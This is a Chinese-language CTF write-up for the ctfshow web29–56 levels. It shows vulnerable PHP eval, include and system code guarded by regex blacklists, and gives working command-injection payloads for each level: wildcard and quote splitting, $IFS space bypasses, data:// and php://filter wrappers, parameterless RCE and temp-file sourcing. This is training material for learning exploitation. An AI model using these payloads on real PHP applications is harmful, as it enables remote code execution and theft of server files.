文章目录
web29
源码
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:c=system('cat f*');
- 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
我们想要执行 cat flag.php,但是flag被过滤了,这时候就可以使用通配符
cat f*表示打开当前目录下所有 f开头的文件
再补充一下:
对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
比如 c=system('ca\t fla\g.php');
web30
源码
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了system|flag,用一个代替system()的函数
payload:?c=passthru("cat f*");
或者
反引号执行系统命令
payload:c=echo `cat f*`;
因为过滤了system,我们就得选择其他的命令执行函数了
常见的有如下几个,其中system和passthru是有回显的,其他的就得需要我们自行输出。调用echo或者其他输出函数即可。
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
web31
源码
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:c=echo(`more%09f*`);
空格绕过
> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09
cat被过滤
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
web32-36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
php中不用括号的有echo include等
过滤了分号可以用?>绕过。
尝试了以下,发现 include"/etc/passwd"?>
可以执行成功。再去想下没有过滤
,
我
们
使
用
,我们使用
,我们使用_POST[x]"?>然后post传参x=/etc/passwd 执行成功。还有一个问题include包含php文件不会在页面显示出来,所以只能用伪协议。
这里直接用include 进行无括号包含即可
解法一:
payload:?c=include“$_GET[n]”?>&n=php://filter/read=convert.base64-encode/resource=flag.php
解法二:
payload:
?c=include"$_POST[n]"?>
n=php://filter/read=convert.base64-encode/resource=flag.php
web37
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这里用到了include包含还过滤了flag,所以php://filter 就用不了
我们用data://协议
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
playload:?c=data://text/plain,<?php system('cat f*');?>
web38
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
比web37多了个 php的过滤
我们直接base64过滤
playload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs=
web39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
web39加了个 .php
tip:使用 %00 截断php 版本<5.3.4
playload: ?c=data://text/plain,<?php system('cat f*');?>
web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题太难了,=.= 还是学学大佬如何解题的
这题用到的知识点是 php无参数函数构造, 也就是需要无参数完成 RCE ,可参考一叶飘零师傅的 https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
直接挂 playload:``?c=readfile(array_rand(array_flip(scandir(current(localeconv())))));
知道 flag.php的位置 可以使用highlight_file(next(array_reverse(scandir(pos(localeconv())))));
解法二: eval(array_rand(array_flip(getallheaders())));
增加 header头 xx=system('cat flag.php');
web41
源码展示:
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
解释一下
/dev/null 2>&1
分解这个组合:“>/dev/null 2>&1” 为五部分。
1:> 代表重定向到哪里,例如:echo "123" > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 "1>/dev/null"
所以我们要让命令回显,那么进行命令分隔即可
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
payload:cat flag.php;
payload: cat flag.php||
web43
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
比web42多过滤了 ;和 cat
可以用 %0a(换行符) 绕过
playload: ?c=more flag.php || 或者 ?c=more flag.php %0a
web44
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了一个flag
playload: ?c=more f* %0a
web45
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了一个空格
playload:?c=echo$IFStac$IFS*%0a 或者 ?c=more${IFS}f*${IFS}%0a
web46
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了 $ [0-9] *
playload:?c=more%09fla''g.php%09%0a 或者 ?c=more%09fla?.php%09%0a 或者 /?c=more%09fl\ag.php%09%0a
web47
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
playload: ?c=nl%09fl\ag.php%09%0a
web48
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
playload: ?c=nl%09fl\ag.php%09%0a
web49-51
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
playload: ?c=nl<fla''g.php||
通杀
web52
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=nl${IFS}fla\g.php|| 发现是假的
ls一下
?c=ls${IFS}/||
发现flag在根目录,所以 playload : ?c=nl${IFS}/fla\g||
('cat / '就表示操作根目录下的文件)
web53
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
这题 就不用|| 了
直接 ?c=nl${IFS}fla\g.php
web54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
ls了一下 发现flag还在本目录,所以
playload:?c=paste${IFS}fla?.php
解二:
grep
grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
payload:?c=grep${IFS}%27{%27${IFS}fl???php
意思就是在 fl???php匹配到的文件中,查找含有 { 的文件,并打印出包含 { 的这一行
web55-56(无数字字母rce)
//web55
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
//web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
web55过滤了 [a-z],不会了 ,还是看看大佬的wp吧
先放payload: ?c=/???/????64%20????.???
bin目录:
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
得到如下:
base64解密,即可得到flag
看了羽大佬的WP还有一种解法
如下:payload:?c=/???/???/???2 ???.??? —》 然后在url + /flag.php.bz2
/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
以上两种解法都是有很大局限性的,它们都存在数字,万一过滤数字就没办法绕过了也就是web56的题
接下来我们来讲web56的解法:参考firebasky师傅 ying师傅 p神,感谢三位大佬!!
tips:
1.playload:?c=.+/???/???[@-[] 因为 .命令 (也就是source命令)执行需要用空格 我们用 + 绕过(也就是%20)
2.文件上传的时候 #!/bin/sh 加上 #!的意思是调用bin/sh的命令
3.上传的临时路径是一般来说这个文件在linux下面保存在/tmp/php??????
一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配) ,所以多试几次也是正常
注意:通过
.去执行sh命令不需要有执行权限
4.我们的playload 的? 的数量只有11个,因为最后一个匹配为大写,用[@-[] 代替了,不需要在它的后面再加上?了